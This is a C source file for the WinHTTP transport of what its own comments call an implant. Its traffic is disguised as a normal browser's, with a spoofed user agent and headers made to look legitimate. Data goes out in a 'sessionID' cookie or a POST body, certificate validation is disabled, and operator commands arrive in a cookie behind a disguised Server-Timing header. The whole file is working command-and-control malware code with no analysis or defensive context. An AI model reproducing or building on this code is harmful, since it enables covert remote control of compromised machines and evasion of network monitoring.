#include "transport.h"
#include <winhttp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

// HTTP transport context
typedef struct {
    HINTERNET hSession;
    HINTERNET hConnect;
    HINTERNET hRequest;
    LPCWSTR domain;
    INTERNET_PORT port;
    LPVOID responseBuffer;
    DWORD responseSize;
} HttpContext;

// User agent to identify implant against server
wchar_t *USER_AGENT = L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";

// Custom header to identify against server
wchar_t *IDENTITY_HEADER = L"Accept-Language: en-US,en;q=0.9\r\n";

// Common headers to mimic legit http traffic
wchar_t *COMMON_HEADERS[] = {
    L"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n",
    L"Cache-Control: no-cache\r\n",
    L"Pragma: no-cache\r\n",
    L"Connection: keep-alive\r\n"
};
int NUM_COMMON_HEADERS = sizeof(COMMON_HEADERS) / sizeof(COMMON_HEADERS[0]);

// Headers and cookie indicating a new message from server
wchar_t* TARGET_HEADER_NAME = L"Server-Timing";
wchar_t* TARGET_HEADER_VALUE = L"cfExtPri";
wchar_t* TARGET_COOKIE_NAME = L"x-auth-csrf-token";

// Cookie to embed message to
wchar_t* MESSAGE_COOKIE_NAME = L"sessionID";

// Maximum message length for cookies (in bytes), remember 32 wchars = 64 bytes
// if message is bigger - it will be sent via POST in request body
size_t MAX_COOKIE_MESSAGE_LENGTH = 64;

// Header to indicate message in request body
wchar_t* BODY_MESSAGE_HEADER = L"X-Requested-With: XMLHttpRequest\r\n";

// Function to check header and print cookie
char* CheckHeaderAndPrintCookie(wchar_t *headers, wchar_t *cookies) {
    // _setmode(_fileno(stdout), _O_U16TEXT);
    char* empty = "";

    if (!headers || !cookies) {
        wprintf(L"Error: Headers or cookies are null\n");
        return empty;
    }

    wchar_t *headerStart = wcsstr(headers, TARGET_HEADER_NAME);
    if (!headerStart) {
        wprintf(L"Target header not found. Assuming no message from server\n");
        return empty;
    }

    wchar_t *valueStart = wcschr(headerStart, L':');
    if (!valueStart) {
        wprintf(L"Invalid header format\n");
        return empty;
    }
    valueStart++;
    while (*valueStart == L' ') valueStart++;

    if (_wcsnicmp(valueStart, TARGET_HEADER_VALUE, wcslen(TARGET_HEADER_VALUE)) != 0) {
        wprintf(L"Header value does not match\n");
        return empty;
    }

    wchar_t *cookieStart = wcsstr(cookies, TARGET_COOKIE_NAME);
    if (!cookieStart) {
        wprintf(L"Target cookie not found\n");
        return empty;
    }
    cookieStart += wcslen(TARGET_COOKIE_NAME);
    if (*cookieStart != L'=') {
        wprintf(L"Invalid cookie format\n");
        return empty;
    }
    cookieStart++;
    while (*cookieStart == L' ') cookieStart++;

    wchar_t *cookieEnd = cookieStart;
    while (*cookieEnd && *cookieEnd != L';' && *cookieEnd != L'\r' && *cookieEnd != L'\n') {
        cookieEnd++;
    }
    size_t valueLength = cookieEnd - cookieStart;

    if (valueLength == 0 || valueLength >= 256) {
        wprintf(L"Invalid cookie value length\n");
        return empty;
    }

    wchar_t cookieValue[valueLength];
    wcsncpy(cookieValue, cookieStart, valueLength);
    cookieValue[valueLength] = L'\0';
    wprintf(L"[+] Target cookie found, value: %S\n", cookieValue);

    // Convert wchar string to normal string
    size_t len = wcstombs(NULL, cookieValue, 0) + 1;
    char* command = malloc(len);
    wcstombs(command, cookieValue, len);
    return command;
}

int http_send(void* handle, char* data, size_t len) {
    HttpContext* ctx = (HttpContext*)handle;
    BOOL bResults = FALSE;
    
    // Convert message to wide string
    int wideLen = MultiByteToWideChar(CP_UTF8, 0, data, len, NULL, 0);
    wchar_t* wideMessage = malloc((wideLen + 1) * sizeof(wchar_t));
    if (!wideMessage) return -1;
    
    MultiByteToWideChar(CP_UTF8, 0, data, len, wideMessage, wideLen);
    wideMessage[wideLen] = L'\0';
    
    // Determine method and setup request
    LPCWSTR method = (len > MAX_COOKIE_MESSAGE_LENGTH) ? L"POST" : L"GET";
    BOOL useBody = (len > MAX_COOKIE_MESSAGE_LENGTH);
    
    // Create request
    ctx->hRequest = WinHttpOpenRequest(ctx->hConnect, method, L"/",
                                       NULL, WINHTTP_NO_REFERER,
                                       WINHTTP_DEFAULT_ACCEPT_TYPES,
                                       WINHTTP_FLAG_SECURE);
    if (!ctx->hRequest) {
        free(wideMessage);
        return -1;
    }
    
    // Ignore certificate errors
    DWORD securityFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
                          SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE |
                          SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
                          SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;

    WinHttpSetOption(ctx->hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &securityFlags, sizeof(securityFlags));
    
    // Add headers
    WinHttpAddRequestHeaders(ctx->hRequest, IDENTITY_HEADER, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
    for (int i = 0; i < NUM_COMMON_HEADERS; ++i) {
        WinHttpAddRequestHeaders(ctx->hRequest, COMMON_HEADERS[i], (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
    }
    
    if (useBody) {
        // POST request with body
        wchar_t *contentType = L"Content-Type: application/x-www-form-urlencoded\r\n";
        WinHttpAddRequestHeaders(ctx->hRequest, contentType, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
        WinHttpAddRequestHeaders(ctx->hRequest, BODY_MESSAGE_HEADER, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
        
        DWORD messageLength = wcslen(wideMessage) * sizeof(wchar_t);
        bResults = WinHttpSendRequest(ctx->hRequest,
                                      WINHTTP_NO_ADDITIONAL_HEADERS, 0,
                                      (LPVOID)wideMessage, messageLength,
                                      messageLength, 0);
    }
    else {
        // GET request with cookie
        wchar_t cookieHeader[1024];
        swprintf(cookieHeader, 1024, L"Cookie: %S=%S", MESSAGE_COOKIE_NAME, wideMessage);
        WinHttpAddRequestHeaders(ctx->hRequest, cookieHeader, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
        
        bResults = WinHttpSendRequest(ctx->hRequest,
                                      WINHTTP_NO_ADDITIONAL_HEADERS, 0,
                                      WINHTTP_NO_REQUEST_DATA, 0,
                                      0, 0);
    }
    
    free(wideMessage);
    
    if (bResults) {
        return len; // Return original length
    }
    
    return -1;
}

int http_recv_alloc(void* handle, char* buffer1, unsigned char** buffer2, size_t len1, size_t* len2) {
    HttpContext* ctx = (HttpContext*)handle;

        BOOL bResults = WinHttpReceiveResponse(ctx->hRequest, NULL);
        if (!bResults) {
            return -1;
        }
        
        // Read response data
        DWORD dwSize = 0;
        DWORD dwDownloaded = 0;
        LPSTR pszOutBuffer;
        
        // Calculate total response size
        do {
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(ctx->hRequest, &dwSize)) {
                break;
            }
            
            if (dwSize == 0) break;
            
            pszOutBuffer = malloc(dwSize + 1);
            if (!pszOutBuffer) {
                break;
            }
            
            ZeroMemory(pszOutBuffer, dwSize + 1);
            
            if (!WinHttpReadData(ctx->hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) {
                free(pszOutBuffer);
                break;
            }
            
            // Append to response buffer
            LPSTR newBuffer = realloc(ctx->responseBuffer, ctx->responseSize + dwDownloaded + 1);
            if (!newBuffer) {
                free(pszOutBuffer);
                break;
            }
            
            ctx->responseBuffer = newBuffer;
            memcpy((char*)ctx->responseBuffer + ctx->responseSize, pszOutBuffer, dwDownloaded);
            ctx->responseSize += dwDownloaded;
            ((char*)ctx->responseBuffer)[ctx->responseSize] = '\0';
            
            free(pszOutBuffer);
            
        } while (dwSize > 0);
    
    // Print response headers
    LPVOID lpHeadersBuffer = NULL;
    LPVOID lpCookiesBuffer = NULL;
    
    // Get and print raw headers
    WinHttpQueryHeaders(ctx->hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF, WINHTTP_HEADER_NAME_BY_INDEX,
                        NULL, &dwSize, WINHTTP_NO_HEADER_INDEX);
    if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
        lpHeadersBuffer = malloc(dwSize);
        if (lpHeadersBuffer) {
            if (WinHttpQueryHeaders(ctx->hRequest,
                                    WINHTTP_QUERY_RAW_HEADERS_CRLF,
                                    WINHTTP_HEADER_NAME_BY_INDEX,
                                    lpHeadersBuffer, &dwSize,
                                    WINHTTP_NO_HEADER_INDEX)) {
                // wprintf(L"\nResponse Headers:\n%S\n", (wchar_t*)lpHeadersBuffer);
            }
        }
    }

    // Get and print cookies
    WinHttpQueryHeaders(ctx->hRequest, WINHTTP_QUERY_SET_COOKIE, WINHTTP_HEADER_NAME_BY_INDEX,
                        NULL, &dwSize, WINHTTP_NO_HEADER_INDEX);
    if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
        lpCookiesBuffer = malloc(dwSize);
        if (lpCookiesBuffer) {
            if (WinHttpQueryHeaders(ctx->hRequest,
                                    WINHTTP_QUERY_SET_COOKIE,
                                    WINHTTP_HEADER_NAME_BY_INDEX,
                                    lpCookiesBuffer, &dwSize,
                                    WINHTTP_NO_HEADER_INDEX)) {
                // wprintf(L"Cookies:\n%S", (wchar_t*)lpCookiesBuffer);
            }
        }
    }

    // Check target header and cookie
    char* command = CheckHeaderAndPrintCookie((wchar_t*)lpHeadersBuffer, (wchar_t*)lpCookiesBuffer);
    // Clean up response buffer and headers after first read
    if (lpHeadersBuffer) free(lpHeadersBuffer);
    if (lpCookiesBuffer) free(lpCookiesBuffer);
    
    // Copy command from cookie to buffer
    if (command) {
        printf("Message from cookie: %s\n", command);
        // Copy command to buffer if it fits
        size_t commandLen = strlen(command);
        if (commandLen <= len1) {
            memcpy(buffer1, command, commandLen);
            // return commandLen;
        } else {
            // Buffer too small, copy what we can
            memcpy(buffer1, command, len1);
            // return len;
        }
    }

    // If no data received, return nothing
    if (ctx->responseSize == 0) {
        return 0;
    }
    else {
        // Copy response data to buffer

        // Allocate buffer for response data
        *buffer2 = malloc(ctx->responseSize + 1);
        if (!*buffer2) {
            return -1;
        }
        
        memcpy(*buffer2, (char*)ctx->responseBuffer, ctx->responseSize);
        (*buffer2)[ctx->responseSize] = '\0';
        *len2 = ctx->responseSize;

    }
    return ctx->responseSize;
}

void http_cleanup(void* handle) {
    HttpContext* ctx = (HttpContext*)handle;
    
    if (ctx->hRequest) {
        WinHttpCloseHandle(ctx->hRequest);
    }
    if (ctx->hConnect) {
        WinHttpCloseHandle(ctx->hConnect);
    }
    if (ctx->hSession) {
        WinHttpCloseHandle(ctx->hSession);
    }
    if (ctx->responseBuffer) {
        free(ctx->responseBuffer);
    }
    
    free(ctx);
}

Transport* InitHTTPTransport(char* domain, unsigned short port) {
    HttpContext* ctx = malloc(sizeof(HttpContext));
    if (!ctx) return NULL;
    
    memset(ctx, 0, sizeof(HttpContext));
    ctx->port = port;
    
    // Convert domain to wide string
    int wideLen = MultiByteToWideChar(CP_UTF8, 0, domain, -1, NULL, 0);
    wchar_t* wideDomain = malloc(wideLen * sizeof(wchar_t));
    if (!wideDomain) {
        free(ctx);
        return NULL;
    }
    MultiByteToWideChar(CP_UTF8, 0, domain, -1, wideDomain, wideLen);
    ctx->domain = wideDomain;
    
    // Open session
    ctx->hSession = WinHttpOpen(USER_AGENT,
                                WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                                WINHTTP_NO_PROXY_NAME,
                                WINHTTP_NO_PROXY_BYPASS, 0);
    if (!ctx->hSession) {
        free((void*)ctx->domain);
        free(ctx);
        return NULL;
    }
    
    // Connect
    ctx->hConnect = WinHttpConnect(ctx->hSession, ctx->domain, ctx->port, 0);
    if (!ctx->hConnect) {
        WinHttpCloseHandle(ctx->hSession);
        free((void*)ctx->domain);
        free(ctx);
        return NULL;
    }
    
    Transport* transport = malloc(sizeof(Transport));
    if (!transport) {
        http_cleanup(ctx);
        return NULL;
    }
    
    transport->handle = ctx;
    transport->send = http_send;
    transport->recv = NULL;
    transport->recv_alloc = http_recv_alloc;
    transport->cleanup = http_cleanup;
    
    return transport;
}

// Original receive func without second buffer for response body
// int http_recv(void* handle, char* buffer, size_t len) {
//     HttpContext* ctx = (HttpContext*)handle;
    
//     // Check if we have a valid request handle
//     if (!ctx->hRequest) {
//         return -1; // No request sent yet
//     }
    
//     // If we haven't received the response yet, get it
//         BOOL bResults = WinHttpReceiveResponse(ctx->hRequest, NULL);
//         if (!bResults) {
//             printf("No response received\n");
//             return -1;
//         }
        
//         // Read response data
//         DWORD dwSize = 0;
//         DWORD dwDownloaded = 0;
//         LPSTR pszOutBuffer;
        
//         // Calculate total response size
//         do {
//             dwSize = 0;
//             if (!WinHttpQueryDataAvailable(ctx->hRequest, &dwSize)) {
//                 break;
//             }
            
//             if (dwSize == 0) break;
            
//             pszOutBuffer = malloc(dwSize + 1);
//             if (!pszOutBuffer) {
//                 break;
//             }
            
//             ZeroMemory(pszOutBuffer, dwSize + 1);
            
//             if (!WinHttpReadData(ctx->hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) {
//                 free(pszOutBuffer);
//                 break;
//             }
            
//             // Append to response buffer
//             LPSTR newBuffer = realloc(ctx->responseBuffer, ctx->responseSize + dwDownloaded + 1);
//             if (!newBuffer) {
//                 free(pszOutBuffer);
//                 break;
//             }
            
//             ctx->responseBuffer = newBuffer;
//             memcpy((char*)ctx->responseBuffer + ctx->responseSize, pszOutBuffer, dwDownloaded);
//             ctx->responseSize += dwDownloaded;
//             ((char*)ctx->responseBuffer)[ctx->responseSize] = '\0';
            
//             free(pszOutBuffer);
            
//         } while (dwSize > 0);
    
//     // Print response headers
//     dwSize = 0;
//     LPVOID lpHeadersBuffer = NULL;
//     LPVOID lpCookiesBuffer = NULL;
    
//     // Get and print raw headers
//     WinHttpQueryHeaders(ctx->hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF, WINHTTP_HEADER_NAME_BY_INDEX,
//                         NULL, &dwSize, WINHTTP_NO_HEADER_INDEX);
//     if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
//         lpHeadersBuffer = malloc(dwSize);
//         if (lpHeadersBuffer) {
//             if (WinHttpQueryHeaders(ctx->hRequest,
//                                     WINHTTP_QUERY_RAW_HEADERS_CRLF,
//                                     WINHTTP_HEADER_NAME_BY_INDEX,
//                                     lpHeadersBuffer, &dwSize,
//                                     WINHTTP_NO_HEADER_INDEX)) {
//                 // wprintf(L"\nResponse Headers:\n%S\n", (wchar_t*)lpHeadersBuffer);
//             }
//         }
//     }

//     // Get and print cookies
//     WinHttpQueryHeaders(ctx->hRequest, WINHTTP_QUERY_SET_COOKIE, WINHTTP_HEADER_NAME_BY_INDEX,
//                         NULL, &dwSize, WINHTTP_NO_HEADER_INDEX);
//     if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
//         lpCookiesBuffer = malloc(dwSize);
//         if (lpCookiesBuffer) {
//             if (WinHttpQueryHeaders(ctx->hRequest,
//                                     WINHTTP_QUERY_SET_COOKIE,
//                                     WINHTTP_HEADER_NAME_BY_INDEX,
//                                     lpCookiesBuffer, &dwSize,
//                                     WINHTTP_NO_HEADER_INDEX)) {
//                 // wprintf(L"Cookies:\n%S", (wchar_t*)lpCookiesBuffer);
//             }
//         }
//     }

//     // Check target header and cookie
//     char* command = CheckHeaderAndPrintCookie((wchar_t*)lpHeadersBuffer, (wchar_t*)lpCookiesBuffer);
//     if (command) {
//         printf("Command: %s\n", command);
//         // Copy command to buffer if it fits
//         size_t commandLen = strlen(command);
//         if (commandLen <= len) {
//             memcpy(buffer, command, commandLen);
//             return commandLen;
//         } else {
//             // Buffer too small, copy what we can
//             memcpy(buffer, command, len);
//             return len;
//         }
//     }

//     // If no command found, return the response data
//     if (ctx->responseSize == 0) {
//         return 0; // No data
//     }

//     // Copy response data to buffer
//     DWORD bytesToCopy = min(len, ctx->responseSize);
//     memcpy(buffer, (char*)ctx->responseBuffer, bytesToCopy);
    
//     // Clean up response buffer and headers after first read
//     if (lpHeadersBuffer) free(lpHeadersBuffer);
//     if (lpCookiesBuffer) free(lpCookiesBuffer);
    
//     return bytesToCopy;
// }